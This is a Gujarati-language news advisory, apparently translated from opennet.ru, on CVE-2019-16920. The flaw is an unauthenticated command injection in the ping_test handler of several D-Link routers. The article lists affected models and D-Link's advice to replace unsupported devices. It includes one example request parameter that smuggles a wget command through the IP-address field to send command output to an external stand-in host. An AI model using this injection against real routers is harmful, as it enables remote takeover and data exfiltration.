ડી-લિંક રાઉટર્સમાં દૂરથી શોષણ કરી શકાય તેવી નબળાઈ

ડી-લિંક વાયરલેસ રાઉટર્સમાં ઓળખાયેલ ખતરનાક નબળાઈ (CVE-2019–16920), જે તમને "ping_test" હેન્ડલરને વિશેષ વિનંતી મોકલીને ઉપકરણ બાજુ પર દૂરસ્થ રીતે કોડ ચલાવવાની મંજૂરી આપે છે, પ્રમાણીકરણ વિના ઍક્સેસ કરી શકાય છે.

રસપ્રદ વાત એ છે કે, ફર્મવેર ડેવલપર્સ અનુસાર, "પિંગ_ટેસ્ટ" કૉલ માત્ર પ્રમાણીકરણ પછી જ એક્ઝિક્યુટ થવો જોઈએ, પરંતુ વાસ્તવમાં તે વેબ ઈન્ટરફેસમાં લૉગ ઇન કર્યા વિના, કોઈપણ કિસ્સામાં કૉલ કરવામાં આવે છે. ખાસ કરીને, જ્યારે apply_sec.cgi સ્ક્રિપ્ટ એક્સેસ કરવામાં આવે છે અને "action=ping_test" પેરામીટર પસાર થાય છે, ત્યારે સ્ક્રિપ્ટ પ્રમાણીકરણ પૃષ્ઠ પર રીડાયરેક્ટ કરે છે, પરંતુ તે જ સમયે ping_test સાથે સંકળાયેલ ક્રિયા કરે છે. કોડને એક્ઝિક્યુટ કરવા માટે, અન્ય નબળાઈનો ઉપયોગ ping_test માં જ કરવામાં આવ્યો હતો, જે પરીક્ષણ માટે મોકલવામાં આવેલ IP એડ્રેસની સાચીતાને યોગ્ય રીતે તપાસ્યા વિના પિંગ યુટિલિટીને કૉલ કરે છે. ઉદાહરણ તરીકે, wget ઉપયોગિતાને કૉલ કરવા અને "echo 1234" આદેશના પરિણામોને બાહ્ય હોસ્ટ પર સ્થાનાંતરિત કરવા માટે, ફક્ત "ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http://" પેરામીટરનો ઉલ્લેખ કરો. test.test/?$( echo 1234)".

નીચેના મોડેલોમાં નબળાઈની હાજરી સત્તાવાર રીતે પુષ્ટિ કરવામાં આવી છે:

• DIR-655 ફર્મવેર 3.02b05 અથવા તેથી વધુ સાથે;
• DIR-866L ફર્મવેર 1.03b04 અથવા તેથી વધુ ઉંમરના સાથે;
• DIR-1565 ફર્મવેર 1.01 અથવા તેથી વધુ ઉંમરના સાથે;
• DIR-652 (સમસ્યાવાળા ફર્મવેર સંસ્કરણો વિશે કોઈ માહિતી પ્રદાન કરવામાં આવી નથી)

આ મોડલ્સ માટે સપોર્ટ અવધિ પહેલાથી જ સમાપ્ત થઈ ગઈ છે, તેથી ડી-લિંક જણાવ્યું હતું, જે નબળાઈને દૂર કરવા માટે તેમના માટે અપડેટ્સ પ્રકાશિત કરશે નહીં, તેનો ઉપયોગ કરવાની ભલામણ કરતું નથી અને તેમને નવા ઉપકરણો સાથે બદલવાની સલાહ આપે છે. સુરક્ષાના ઉકેલ તરીકે, તમે વેબ ઈન્ટરફેસની ઍક્સેસને માત્ર વિશ્વસનીય IP સરનામાઓ સુધી મર્યાદિત કરી શકો છો.

પાછળથી જાણવા મળ્યું કે નબળાઈ પણ હતી અસર કરે છે મોડલ DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835 અને DIR-825, અપડેટ્સ રીલીઝ કરવાની યોજનાઓ જેના માટે હજુ સુધી જાણી શકાયું નથી.

સોર્સ: opennet.ru